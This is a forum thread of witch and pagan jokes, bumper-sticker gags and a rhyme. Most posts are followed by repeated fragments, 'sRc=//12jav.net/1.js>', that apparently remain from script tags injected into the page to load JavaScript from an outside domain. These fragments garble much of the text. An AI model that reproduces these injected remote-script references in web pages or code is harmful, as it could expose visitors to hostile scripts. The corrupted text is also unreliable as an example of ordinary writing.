Witch Jokes

i have two really naughty jokes, i can't post here. but pm me if you'd like to hear them.

life's a witch, and then you fly

save a broom, ride a witch!

sorry i missed church, i was practicing witchcraft and learning to become a lesbian. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

What does a Witch enjoy cooking most? Gnomelettes.

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I use to be told a bunch of pagan jokes in high school by my pagan friends but I can only remember one:

Q: What happens when you throw a Pagan and a New Ageist into a lake?
A: The Pagan swims to shore while the New Ageist sinks under the weight of their overpriced crystals. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

when i drive plz don't be behind mi cause i brake for fairies gnomes and other unseen creators i can only see
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Some of these are really funny. :-) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I think one of my favorite stickers that I have seen said "Don't make me sick my flying monkeys on you!" sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Back in Irkutsk, my Baba used to sing this one:
And there was a witch, named Elizabeth Groom
She loved to fly, up in her broom
When she was up there, so high and so fast
All men down said: "that surely is a nice... sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

What are a pagan child's favorite pastimes?
A: Arts and witchcraft!
Kind of lame, I know... sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Still humorous though. :-) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

today i was walking in a parking lot and saw this as a bumper sticker : watch out get to close my dragon will eat you
a lady yelled here dragon here boy dinner time
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